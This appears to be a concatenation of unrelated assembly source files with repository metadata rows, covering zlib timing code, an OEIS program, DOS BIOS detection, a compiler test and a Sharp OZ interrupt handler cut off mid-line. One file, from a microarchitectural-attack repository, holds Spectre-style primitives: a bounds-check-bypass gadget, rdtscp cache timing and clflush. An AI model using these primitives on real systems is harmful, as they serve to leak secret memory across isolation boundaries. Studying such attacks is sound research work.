DWORD PTR __imp__malloc add esp, 4 mov DWORD PTR _ptr$[ebp], eax ; 133 : if (ptr==NULL) cmp DWORD PTR _ptr$[ebp], 0 jne SHORT $LN3@ReadFileMe ; 134 : retVal=0; mov DWORD PTR _retVal$[ebp], 0 jmp SHORT $LN4@ReadFileMe $LN3@ReadFileMe: ; 135 : else ; 136 : { ; 137 : if (fread(ptr, 1, *plFileSize,stream) != (*plFileSize)) mov edx, DWORD PTR _stream$[ebp] push edx mov eax, DWORD PTR _plFileSize$[ebp] mov ecx, DWORD PTR [eax] push ecx push 1 mov edx, DWORD PTR _ptr$[ebp] push edx call DWORD PTR __imp__fread add esp, 16 ; 00000010H mov ecx, DWORD PTR _plFileSize$[ebp] cmp eax, DWORD PTR [ecx] je SHORT $LN4@ReadFileMe ; 138 : retVal=0; mov DWORD PTR _retVal$[ebp], 0 $LN4@ReadFileMe: ; 139 : } ; 140 : fclose(stream); mov edx, DWORD PTR _stream$[ebp] push edx call DWORD PTR __imp__fclose add esp, 4 ; 141 : *pFilePtr=ptr; mov eax, DWORD PTR _pFilePtr$[ebp] mov ecx, DWORD PTR _ptr$[ebp] mov DWORD PTR [eax], ecx ; 142 : return retVal; mov eax, DWORD PTR _retVal$[ebp] $LN1@ReadFileMe: ; 143 : } mov esp, ebp pop ebp ret 0 _ReadFileMemory ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _tickSecShifted$ = -48 ; size = 8 _ticksShifted$ = -40 ; size = 8 _ticksPerSecond$ = -32 ; size = 8 _ticks$ = -24 ; size = 8 _endTime64$ = -16 ; size = 8 _dwLog$ = -8 ; size = 4 _dwRet$ = -4 ; size = 4 _beginTime64$ = 8 ; size = 8 _fComputeTimeQueryPerf$ = 16 ; size = 4 _GetMsecSincePerfCounter PROC ; 94 : { push ebp mov ebp, esp sub esp, 48 ; 00000030H ; 95 : LARGE_INTEGER endTime64,ticksPerSecond,ticks; ; 96 : DWORDLONG ticksShifted,tickSecShifted; ; 97 : DWORD dwLog=16+0; mov DWORD PTR _dwLog$[ebp], 16 ; 00000010H ; 98 : DWORD dwRet; ; 99 : if ((!fComputeTimeQueryPerf) || (!QueryPerformanceCounter(&endTime64))) cmp DWORD PTR _fComputeTimeQueryPerf$[ebp], 0 je SHORT $LN4@GetMsecSin lea eax, DWORD PTR _endTime64$[ebp] push eax call DWORD PTR __imp__QueryPerformanceCounter@4 test eax, eax jne SHORT $LN2@GetMsecSin $LN4@GetMsecSin: ; 100 : dwRet = (GetTickCount() - beginTime64.LowPart)*1; call DWORD PTR __imp__GetTickCount@0 sub eax, DWORD PTR _beginTime64$[ebp] mov DWORD PTR _dwRet$[ebp], eax jmp SHORT $LN3@GetMsecSin $LN2@GetMsecSin: ; 101 : else ; 102 : { ; 103 : MyDoMinus64(&ticks,endTime64,beginTime64); mov ecx, DWORD PTR _beginTime64$[ebp+4] push ecx mov edx, DWORD PTR _beginTime64$[ebp] push edx mov eax, DWORD PTR _endTime64$[ebp+4] push eax mov ecx, DWORD PTR _endTime64$[ebp] push ecx lea edx, DWORD PTR _ticks$[ebp] push edx call _MyDoMinus64 add esp, 20 ; 00000014H ; 104 : QueryPerformanceFrequency(&ticksPerSecond); lea eax, DWORD PTR _ticksPerSecond$[ebp] push eax call DWORD PTR __imp__QueryPerformanceFrequency@4 ; 105 : ; 106 : ; 107 : { ; 108 : ticksShifted = Int64ShrlMod32(*(DWORDLONG*)&ticks,dwLog); mov ecx, DWORD PTR _dwLog$[ebp] push ecx mov edx, DWORD PTR _ticks$[ebp+4] push edx mov eax, DWORD PTR _ticks$[ebp] push eax call _Int64ShrlMod32@12 mov DWORD PTR _ticksShifted$[ebp], eax mov DWORD PTR _ticksShifted$[ebp+4], edx ; 109 : tickSecShifted = Int64ShrlMod32(*(DWORDLONG*)&ticksPerSecond,dwLog); mov ecx, DWORD PTR _dwLog$[ebp] push ecx mov edx, DWORD PTR _ticksPerSecond$[ebp+4] push edx mov eax, DWORD PTR _ticksPerSecond$[ebp] push eax call _Int64ShrlMod32@12 mov DWORD PTR _tickSecShifted$[ebp], eax mov DWORD PTR _tickSecShifted$[ebp+4], edx ; 110 : ; 111 : } ; 112 : ; 113 : dwRet = (DWORD)((((DWORD)ticksShifted)*1000)/(DWORD)(tickSecShifted)); imul eax, DWORD PTR _ticksShifted$[ebp], 1000 xor edx, edx div DWORD PTR _tickSecShifted$[ebp] mov DWORD PTR _dwRet$[ebp], eax ; 114 : dwRet *=1; mov ecx, DWORD PTR _dwRet$[ebp] mov DWORD PTR _dwRet$[ebp], ecx $LN3@GetMsecSin: ; 115 : } ; 116 : return dwRet; mov eax, DWORD PTR _dwRet$[ebp] ; 117 : } mov esp, ebp pop ebp ret 0 _GetMsecSincePerfCounter ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _pbeginTime64$ = 8 ; size = 4 _fComputeTimeQueryPerf$ = 12 ; size = 4 _BeginCountPerfCounter PROC ; 85 : { push ebp mov ebp, esp ; 86 : if ((!fComputeTimeQueryPerf) || (!QueryPerformanceCounter(pbeginTime64))) cmp DWORD PTR _fComputeTimeQueryPerf$[ebp], 0 je SHORT $LN3@BeginCount mov eax, DWORD PTR _pbeginTime64$[ebp] push eax call DWORD PTR __imp__QueryPerformanceCounter@4 test eax, eax jne SHORT $LN1@BeginCount $LN3@BeginCount: ; 87 : { ; 88 : pbeginTime64->LowPart = GetTickCount(); call DWORD PTR __imp__GetTickCount@0 mov ecx, DWORD PTR _pbeginTime64$[ebp] mov DWORD PTR [ecx], eax ; 89 : pbeginTime64->HighPart = 0; mov edx, DWORD PTR _pbeginTime64$[ebp] mov DWORD PTR [edx+4], 0 $LN1@BeginCount: ; 90 : } ; 91 : } pop ebp ret 0 _BeginCountPerfCounter ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _endTime64$ = -16 ; size = 8 _LIres$ = -8 ; size = 8 _beginTime64$ = 8 ; size = 8 _fComputeTimeQueryPerf$ = 16 ; size = 4 _GetResRdtsc PROC ; 58 : { push ebp mov ebp, esp sub esp, 16 ; 00000010H ; 59 : LARGE_INTEGER LIres,endTime64; ; 60 : myGetRDTSC32(&endTime64); lea eax, DWORD PTR _endTime64$[ebp] push eax call _myGetRDTSC32 add esp, 4 ; 61 : ; 62 : LIres.LowPart=LIres.HighPart=0; mov DWORD PTR _LIres$[ebp+4], 0 mov ecx, DWORD PTR _LIres$[ebp+4] mov DWORD PTR _LIres$[ebp], ecx ; 63 : MyDoMinus64(&LIres,endTime64,beginTime64); mov edx, DWORD PTR _beginTime64$[ebp+4] push edx mov eax, DWORD PTR _beginTime64$[ebp] push eax mov ecx, DWORD PTR _endTime64$[ebp+4] push ecx mov edx, DWORD PTR _endTime64$[ebp] push edx lea eax, DWORD PTR _LIres$[ebp] push eax call _MyDoMinus64 add esp, 20 ; 00000014H ; 64 : return LIres; mov eax, DWORD PTR _LIres$[ebp] mov edx, DWORD PTR _LIres$[ebp+4] ; 65 : } mov esp, ebp pop ebp ret 0 _GetResRdtsc ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _pbeginTime64$ = 8 ; size = 4 _BeginCountRdtsc PROC ; 53 : { push ebp mov ebp, esp ; 54 : myGetRDTSC32(pbeginTime64); mov eax, DWORD PTR _pbeginTime64$[ebp] push eax call _myGetRDTSC32 add esp, 4 ; 55 : } pop ebp ret 0 _BeginCountRdtsc ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _dwEdx$ = -8 ; size = 4 _dwEax$ = -4 ; size = 4 _pbeginTime64$ = 8 ; size = 4 _myGetRDTSC32 PROC ; 40 : { push ebp mov ebp, esp sub esp, 8 ; 41 : DWORD dwEdx,dwEax; ; 42 : _asm ; 43 : { ; 44 : rdtsc rdtsc ; 45 : mov dwEax,eax mov DWORD PTR _dwEax$[ebp], eax ; 46 : mov dwEdx,edx mov DWORD PTR _dwEdx$[ebp], edx ; 47 : } ; 48 : pbeginTime64->LowPart=dwEax; mov eax, DWORD PTR _pbeginTime64$[ebp] mov ecx, DWORD PTR _dwEax$[ebp] mov DWORD PTR [eax], ecx ; 49 : pbeginTime64->HighPart=dwEdx; mov edx, DWORD PTR _pbeginTime64$[ebp] mov eax, DWORD PTR _dwEdx$[ebp] mov DWORD PTR [edx+4], eax ; 50 : } mov esp, ebp pop ebp ret 0 _myGetRDTSC32 ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _R$ = 8 ; size = 4 _A$ = 12 ; size = 8 _B$ = 20 ; size = 8 _MyDoMinus64 PROC ; 9 : { push ebp mov ebp, esp ; 10 : R->HighPart = A.HighPart - B.HighPart; mov eax, DWORD PTR _A$[ebp+4] sub eax, DWORD PTR _B$[ebp+4] mov ecx, DWORD PTR _R$[ebp] mov DWORD PTR [ecx+4], eax ; 11 : if (A.LowPart >= B.LowPart) mov edx, DWORD PTR _A$[ebp] cmp edx, DWORD PTR _B$[ebp] jb SHORT $LN2@MyDoMinus6 ; 12 : R->LowPart = A.LowPart - B.LowPart; mov eax, DWORD PTR _A$[ebp] sub eax, DWORD PTR _B$[ebp] mov ecx, DWORD PTR _R$[ebp] mov DWORD PTR [ecx], eax jmp SHORT $LN1@MyDoMinus6 $LN2@MyDoMinus6: ; 13 : else ; 14 : { ; 15 : R->LowPart = A.LowPart - B.LowPart; mov edx, DWORD PTR _A$[ebp] sub edx, DWORD PTR _B$[ebp] mov eax, DWORD PTR _R$[ebp] mov DWORD PTR [eax], edx ; 16 : R->HighPart --; mov ecx, DWORD PTR _R$[ebp] mov edx, DWORD PTR [ecx+4] sub edx, 1 mov eax, DWORD PTR _R$[ebp] mov DWORD PTR [eax+4], edx $LN1@MyDoMinus6: ; 17 : } ; 18 : } pop ebp ret 0 _MyDoMinus64 ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\program files (x86)\windows kits\10\include\10.0.17134.0\um\winnt.h ; COMDAT _Int64ShrlMod32@12 _TEXT SEGMENT _Value$ = 8 ; size = 8 _ShiftCount$ = 16 ; size = 4 _Int64ShrlMod32@12 PROC ; COMDAT ; 990 : { push ebp mov ebp, esp ; 991 : __asm { ; 992 : mov ecx, ShiftCount mov ecx, DWORD PTR _ShiftCount$[ebp] ; 993 : mov eax, dword ptr [Value] mov eax, DWORD PTR _Value$[ebp] ; 994 : mov edx, dword ptr [Value+4] mov edx, DWORD PTR _Value$[ebp+4] ; 995 : shrd eax, edx, cl shrd eax, edx, cl ; 996 : shr edx, cl shr edx, cl ; 997 : } ; 998 : } pop ebp ret 12 ; 0000000cH _Int64ShrlMod32@12 ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\program files (x86)\windows kits\10\include\10.0.17134.0\ucrt\stdio.h ; COMDAT _printf _TEXT SEGMENT __Result$ = -8 ; size = 4 __ArgList$ = -4 ; size = 4 __Format$ = 8 ; size = 4 _printf PROC ; COMDAT ; 954 : { push ebp mov ebp, esp sub esp, 8 ; 955 : int _Result; ; 956 : va_list _ArgList; ; 957 : __crt_va_start(_ArgList, _Format); lea eax, DWORD PTR __Format$[ebp+4] mov DWORD PTR __ArgList$[ebp], eax ; 958 : _Result = _vfprintf_l(stdout, _Format, NULL, _ArgList); mov ecx, DWORD PTR __ArgList$[ebp] push ecx push 0 mov edx, DWORD PTR __Format$[ebp] push edx push 1 call DWORD PTR __imp____acrt_iob_func add esp, 4 push eax call __vfprintf_l add esp, 16 ; 00000010H mov DWORD PTR __Result$[ebp], eax ; 959 : __crt_va_end(_ArgList); mov DWORD PTR __ArgList$[ebp], 0 ; 960 : return _Result; mov eax, DWORD PTR __Result$[ebp] ; 961 : } mov esp, ebp pop ebp ret 0 _printf ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\program files (x86)\windows kits\10\include\10.0.17134.0\ucrt\stdio.h ; COMDAT __vfprintf_l _TEXT SEGMENT __Stream$ = 8 ; size = 4 __Format$ = 12 ; size = 4 __Locale$ = 16 ; size = 4 __ArgList$ = 20 ; size = 4 __vfprintf_l PROC ; COMDAT ; 642 : { push ebp mov ebp, esp ; 643 : return __stdio_common_vfprintf(_CRT_INTERNAL_LOCAL_PRINTF_OPTIONS, _Stream, _Format, _Locale, _ArgList); mov eax, DWORD PTR __ArgList$[ebp] push eax mov ecx, DWORD PTR __Locale$[ebp] push ecx mov edx, DWORD PTR __Format$[ebp] push edx mov eax, DWORD PTR __Stream$[ebp] push eax call ___local_stdio_printf_options mov ecx, DWORD PTR [eax+4] push ecx mov edx, DWORD PTR [eax] push edx call DWORD PTR __imp____stdio_common_vfprintf add esp, 24 ; 00000018H ; 644 : } pop ebp ret 0 __vfprintf_l ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\program files (x86)\windows kits\10\include\10.0.17134.0\ucrt\corecrt_stdio_config.h ; COMDAT ___local_stdio_printf_options _TEXT SEGMENT ___local_stdio_printf_options PROC ; COMDAT ; 85 : { push ebp mov ebp, esp ; 86 : static unsigned __int64 _OptionsStorage; ; 87 : return &_OptionsStorage; mov eax, OFFSET ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9 ; `__local_stdio_printf_options'::`2'::_OptionsStorage ; 88 : } pop ebp ret 0 ___local_stdio_printf_options ENDP _TEXT ENDS END
22.84477
126
0.65993
d78f34b47c4e1b129e8a74e3c02e15bff59abfe8
607
asm
Assembly
02_spectre_toy/01.asm
msmania/microarchitectural-attack
013753d3545653f4d2c6287541c580f965a8591e
[ "MIT" ]
17
2018-03-01T00:11:44.000Z
2022-01-09T13:03:29.000Z
02_spectre_toy/01.asm
msmania/microarchitectural-attack
013753d3545653f4d2c6287541c580f965a8591e
[ "MIT" ]
2
2018-05-16T01:59:04.000Z
2021-03-03T15:59:48.000Z
02_spectre_toy/01.asm
msmania/microarchitectural-attack
013753d3545653f4d2c6287541c580f965a8591e
[ "MIT" ]
6
2018-07-18T19:05:12.000Z
2021-11-04T00:26:35.000Z
BITS 64 global branch_predictor global memory_access global indirect_call global touch_and_break section .text branch_predictor: cmp rcx, [r8] jae .skip_access movzx rax, byte [rdx + rcx] shl rax, 0Ch mov al, byte [r9 + rax] .skip_access: ret memory_access: mov r9, rcx rdtscp shl rdx, 20h or rax, rdx mov r8, rax mov rax, [r9] rdtscp shl rdx, 20h or rax, rdx sub rax,r8 ret indirect_call: mov rax, rcx mov rcx, rdx mov rdx, r8 clflush [rax] call [rax] ret touch_and_break: movzx eax, byte [rcx] shl rax, 0Ch mov al, byte [rax+rdx] sysenter
11.901961
29
0.668863
352de254c8b47b4202859d6020be4d8d86fb61d9
3,118
asm
Assembly
programs/oeis/062/A062990.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/062/A062990.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/062/A062990.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A062990: Eighth column (r=7) of FS(5) staircase array A062985. ; 5,30,110,315,771,1688,3396,6390,11385,19382,31746,50297,77415,116160,170408,245004,345933,480510,657590,887799,1183787,1560504,2035500,2629250,3365505,4271670,5379210,6724085,8347215,10294976,12619728,15380376,18642965,22481310,26977662,32223411,38319827,45378840,53523860,62890638,73628169,85899638,99883410,115774065,133783479,154141952,177099384,202926500,231916125,264384510,300672710,341148015,386205435,436269240,491794556,553269018,621214481,696188790,778787610,869646317,969441951,1078895232,1198772640,1329888560,1473107493,1629346334,1799576718,1984827435,2186186915,2404805784,2641899492,2898751014,3176713625,3477213750,3801753890,4151915625,4529362695,4935844160,5373197640,5843352636,6348333933,6890265086,7471371990,8093986535,8760550347,9473618616,10235864012,11050080690,11919188385,12846236598,13834408874,14887027173,16007556335,17199608640,18466948464,19813497032,21243337269,22760718750,24370062750,26075967395,27883212915,29796767000,31821790260,33963641790,36227884841,38620292598,41146854066,43813780065,46627509335,49594714752,52722309656,56017454292,59487562365,63140307710,66983631078,71025747039,75275151003,79740626360,84431251740,89356408394,94525787697,99949398774,105637576250,111600988125,117850643775,124397902080,131254479680,138432459360,145944298565,153802838046,162021310638,170613350171,179593000515,188974724760,198773414532,209004399446,219683456697,230826820790,242451193410,254573753433,267212167079,280384598208,294109718760,308406719340,323295319949,338795780862,354928913654,371716092375,389179264875,407340964280,426224320620,445853072610,466251579585,487444833590,509458471626,532318788053,556052747151,580687995840,606252876560,632776440312,660288459861,688819443102,718400646590,749064089235,780842566163,813769662744,847879768788,883208092910,919790677065,957664411254,996867048402,1037437219409,1079414448375,1122839168000,1167752735160,1214197446660,1262216555165,1311854285310,1363155849990,1416167466831,1470936374843,1527510851256,1585940228540,1646274911610,1708566395217,1772867281526,1839231297882,1907713314765,1978369363935,2051256656768,2126433602784,2203959828368,2283896195685,2366304821790,2451249097934,2538793709067,2629004653539,2721949263000,2817696222500,2916315590790,3017878820825,3122458780470,3230129773410,3340967560265,3455049379911,3572453971008,3693261593736,3817554051740,3945414714285,4076928538622,4212182092566,4351263577287,4494262850315,4641271448760,4792382612748,4947691309074,5107294255073,5271289942710,5439778662890,5612862529989,5790645506607,5973233428544,6160734030000,6353256969000,6550913853045,6753818264990,6962085789150,7175834037635,7395182676915,7620253454616,7851170226548,8088058983966,8331047881065,8580267262710,8835849692402,9097929980481,9366645212567,9642134778240,9924540399960,10214006162228,10510678540989,10814706433278,11126241187110,11445436631615,11772449107419,12107437497272,12450563256924,12801990446250,13161885760625,13530418562550 add $0,1 lpb $0,1 mov $2,$0 cal $2,62989 ; a(n) = C(n+6, 6) - n - 1. sub $0,1 add $1,$2 lpe
283.454545
2,951
0.895446
215d5d5eeedd762882d12346e8a00dba1bc0119b
3,587
asm
Assembly
install/lib/hardware/getmodel.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
install/lib/hardware/getmodel.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
install/lib/hardware/getmodel.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
;========================================================================== COMMENT # GETMODEL.ASM Copyright (c) 1991 - Microsoft Corp. All rights reserved. Microsoft Confidential END COMMENT # ;========================================================================== INCLUDE model.inc .CODE CONVERTIBLE_MODEL_BYTE equ 0f9h ;========================================================================== ; ; GetModelBytes() ; ; Returns model byte in ah and sub-model byte in al, or 0 in ah and al if the ; BIOS can't tell us. ; ; As far as the MS high-level languages are concerned, we only need to ; save DS, SS, DI, and SI if we trash them. But to be friendly, we won't ; corrupt anything except AX and flags. ; ;========================================================================== GetModelBytes PROC USES ES BX ; Get model bytes from ROM BIOS using BIOS call. ; (Actually, they're stored at f000:fffe.) mov ah, 0c0h int 15h ; ; For PC, PCjr, and really old PC XT and AT BIOSs, this int 15h call ; will set the carry flag, and return: ; ; (AH) = 80h PC and PCjr ; ; (AH) = 86h PC XT BIOS dated 11/08/82 and AT BIOS dated ; 1/10/84, or PS/2 (except Model 30) if system model ; cannot be determined ; ; If the carry flag is not set by this int 15h call, the system is a ; PC XT with ROM BIOS dated 1/10/86 or after, an AT with ROM BIOS ; dated 6/10/85 or after, a PC XT Model 286, a PC Convertible, or a ; PS/2. In these cases, the int 15h call will return: ; ; (AH) = 0 ; (ES:BX) = pointer to system descriptor vector in ROM ; ; The third byte of this system descriptor vector in ROM is the ; model byte, and the fourth byte is the submodel byte. ; jc No_Descriptor_Available ; Build model byte address. inc bx inc bx ; Get model byte. mov ah, es:[bx] ; Get sub-model byte. inc bx mov al, es:[bx] ; ; The USES portion of the PROC directive directs masm to ; automatically push used registers on entry and pop them on exit ; (i.e., at all rets). By employing a short jump here ; (jmp short exit) instead of two pops and a ret, we would save one ; byte of code. However, the short jump is also slower than using a ; ret. Let's go for speed... ; ret No_Descriptor_Available: ; Return 0 in ah and al since the BIOS can't tell us the model and ; sub-model bytes. xor ax, ax Exit: ret GetModelBytes ENDP ;========================================================================== ; IsConvertible() ; ; Returns 1 in AX if the system is an IBM PC Convertible, ; 0 in AX if not. ; ; Checks model byte. ; ;========================================================================== IsConvertible PROC call_M GetModelBytes ; Get model byte to examine. ; Are we on an IBM PC Convertible? cmp ah, CONVERTIBLE_MODEL_BYTE je Is_Convertible xor ax, ax ; No, this is not an IBM PC Convertible. ret Is_Convertible: mov ax, 1 ; Yes, this is an IBM PC Convertible. ret IsConvertible ENDP ;========================================================================== END 
28.244094
77
0.489546
7b52dfef31c5d294544d22705b73d071a2afb6fc
1,883
asm
Assembly
src/test/ref/declared-memory-var-6.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/declared-memory-var-6.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/declared-memory-var-6.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test declaring a variable as "memory", meaning it will be stored in memory and accessed through an implicit pointer (using load/store) // Commodore 64 PRG executable file .file [name="declared-memory-var-6.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label SCREEN = $400 .segment Code main: { .const reg_zp_flex = '.' .const reg_mem_flex = '.' .const default_default = '.' .const reg_default = '.' .const default_zp_flex = '.' .const default_mem_flex = '.' .label default_zp_abs = $11 .label default_mem_abs = $1001 .label reg_zp_abs = $10 .label reg_mem_abs = $1000 // char __ssa __address(0x10) reg_zp_abs = '.' lda #'.' sta.z reg_zp_abs // char __ssa __address(0x1000) reg_mem_abs = '.' sta reg_mem_abs // char __address(0x11) default_zp_abs = '.' sta.z default_zp_abs // char __address(0x1001) default_mem_abs = '.' sta default_mem_abs // out(reg_zp_flex) ldy #0 ldx #reg_zp_flex jsr out // out(reg_zp_abs) ldx.z reg_zp_abs jsr out // out(reg_mem_flex) ldx #reg_mem_flex jsr out // out(reg_mem_abs) ldx reg_mem_abs jsr out // out(default_default) ldx #default_default jsr out // out(reg_default) ldx #reg_default jsr out // out(default_zp_flex) ldx #default_zp_flex jsr out // out(default_zp_abs) ldx.z default_zp_abs jsr out // out(default_mem_flex) ldx #default_mem_flex jsr out // out(default_mem_abs) ldx default_mem_abs jsr out // } rts } // void out(__register(X) char c) out: { // SCREEN[i++] = c txa sta SCREEN,y // SCREEN[i++] = c; iny // } rts }
24.776316
137
0.635688
410f2b7837441840af378c84952f38cc747c39e3
328
asm
Assembly
ADL/Assemble/Insert/1/RH~R_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
3
2021-11-06T03:47:08.000Z
2021-11-06T03:47:11.000Z
ADL/Assemble/Insert/1/RH~R_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
null
null
null
ADL/Assemble/Insert/1/RH~R_insert_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
1
2021-11-06T03:47:14.000Z
2021-11-06T03:47:14.000Z
aLine 0 nNew newNodePtr, {0:D} gNewVPtr temp gMoveNext temp, Root aLine 1 gBne temp, null, 5 aLine 2 nMoveRel newNodePtr, Root, 95, 164.545 pSetNext newNodePtr, Root Jmp 4 aLine 5 nMoveRelOut newNodePtr, Root, 190 pSetNext newNodePtr, temp aLine 7 pSetNext Root, newNodePtr aLine 8 aStd gDelete newNodePtr gDelete temp Halt
13.12
38
0.786585
aa7876cf392569ce888b7a6522cf24e291de0251
12,632
asm
Assembly
libsrc/oz/ozinterrupt/ozcustomisr.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
1
2018-09-04T23:07:24.000Z
2018-09-04T23:07:24.000Z
libsrc/oz/ozinterrupt/ozcustomisr.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/oz/ozinterrupt/ozcustomisr.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; ; custom interrupt code + key scanning ; ; ; ------ ; $Id: ozcustomisr.asm,v 1.3 2003/10/27 16:56:57 stefano Exp $ ; XLIB ozcustomisr XDEF serial_hook XDEF ozkeyclick XDEF oz1hz XDEF oz64hz_word XDEF oz64hz_dword XDEF ozi64hztime XDEF oz4sec_word XDEF ozi64hzcount XDEF ozdisablepowerkey XDEF ozgreyscale XDEF ozgreycount XDEF s_64hz_hook XDEF s_64hz_return XREF cleanup ; exit in oz_crt0 XREF s_init_unblank ; exit quickly " XREF KeyboardBuffer XREF KeyBufGetPos XREF KeyBufPutPos ; settings XREF ozkeyrepeatspeed XREF ozkeyrepeatdelay XREF ozclick_setting defc PauseFirst = 32 PowerOff: ld a,(ozdisablepowerkey) or a jp nz,NotPowerOff inc a ld (ozdisablepowerkey),a ld hl,kPower ld (KeyboardBuffer),hl ld a,0bh ld (KeyBufGetPos),a xor a ld (KeyBufPutPos),a ;jp _exit jp cleanup FastClock: ld a,(ozgreyscale) or a jp z,FastClockDone push hl ld hl,(ozgreycount) dec hl ld (ozgreycount),hl ld a,l or h jp nz,pophl_FastClockDone in a,(22h) xor 4 out (22h),a ld hl,110 jr z,NotAdd ;; second page -- only 300 delay add hl,hl NotAdd: ld (ozgreycount),hl pophl_FastClockDone: pop hl FastClockDone: ld a,d and 0ffh - 64 jr nz,FromFastClock ei ret ; ------------------------------------ ozcustomisr: in a,(5) ld d,a ld a,0ffh out (6),a in a,(7) ;; mask cpl and d ld d,a bit 6,d jp nz,FastClock FromFastClock: bit 0,d ;; e ;; get keyboard bit call nz,KbdHit in a,(46h) and 16 jp nz,PowerOff ;; power switch depressed NotPowerOff: in a,(12h) and 128 ;jp z,__exit ;; battery switch flipped - get out rapidly jp z,s_init_unblank ;; battery switch flipped - get out rapidly serial_hook: jp GetOutPopAF ;$serial_hook equ $-2 GetOutPopAF: bit 4,d ;; 1hz jr nz,Inc1hz notInc1hz: bit 5,d ;; 64hz jp nz,KbdAndClock ei ret Inc1hz: push hl ld hl,(oz1hz) inc hl ld (oz1hz),hl pop hl jr notInc1hz KbdHit: ozi64hztime: ld a,PauseFirst+1 ;__ozi64hztime equ $-1 ld (ozi64hzcount),a or a ret z in a,(7) and 255-32 ;; enable 64hz interrupt or 1 ;; disable keyboard interrupt for now out (7),a ret KbdAndClock: ld a,(keybusy) or a ret nz dec a ; a=ff ld (keybusy),a ei jp key_isr key_isr_ret: xor a ld (keybusy),a ret ozdisablepowerkey: defs 1 ozi64hzcount: defs 1 ozgreyscale: defs 1 ozgreycount: defs 2 oz1hz: defs 2 oz64hz_word: oz64hz_dword: defs 1 oz4sec_word: defs 1 defs 2 keybusy: defs 1 ; Keyboard driver adapted from software labeled: ; Source code free for non-commercial use ; Assembled program (C)2000 OZdev <http://www.ozdev.com/> ; Benjamin Green <benjamin@lh.co.nz> keyTable: defs 10 mask10: defs 1 mask11: defs 1 repeatcount: defs 1 repeatkey: defs 2 mask12: defs 1 defc Mask2nd = 01h defc MaskNew = 02h defc MaskInv = 04h defc MaskShift = 08h defc kPower = 803Ah defc kUpperMenu = 8068h defc kUpperEnter = 8066h defc kUpperEsc = 8067h defc kEnter = 8038h defc kLShift = 0000h defc kRShift = 8836h defc k2nd = 8137h defc kEsc = 8058h defc kMenu = 8032h defc kNew = 8233h defc kInv = 8435h defc kUp = 8040h defc kDown = 8041h defc kRight = 8043h defc kLeft = 8042h defc kMain = 7025h defc kTel = 70e9h defc kSched = 70eah defc kMemo = 70ebh defc kMyProg = 7015h defc kLight = 803bh defc kPageUp = 8044h defc kPageDown = 8045h key_isr: push bc push de push hl ld hl,ozi64hzcount ld a,(hl) or a jr z,skipCountDown dec a ld (hl),a jr nz,skipCountDown in a,(7) or 32 ;; disable 64hz interrupt and 255-1 ;; but enable keyboard interrupt out (7),a skipCountDown: ld hl,(oz64hz_dword) ld bc,1 add hl,bc ld (oz64hz_dword),hl ld hl,(oz64hz_dword+2) ld bc,0 adc hl,bc ld (oz64hz_dword+2),hl ; global $64hz_hook,$64hz_return s_64hz_hook: jp s_64hz_return ;$64hz_hook equ $-2 s_64hz_return: rxxoff_hook: jp noxoff ;$rxxoff_hook equ $-2 noxoff: ld 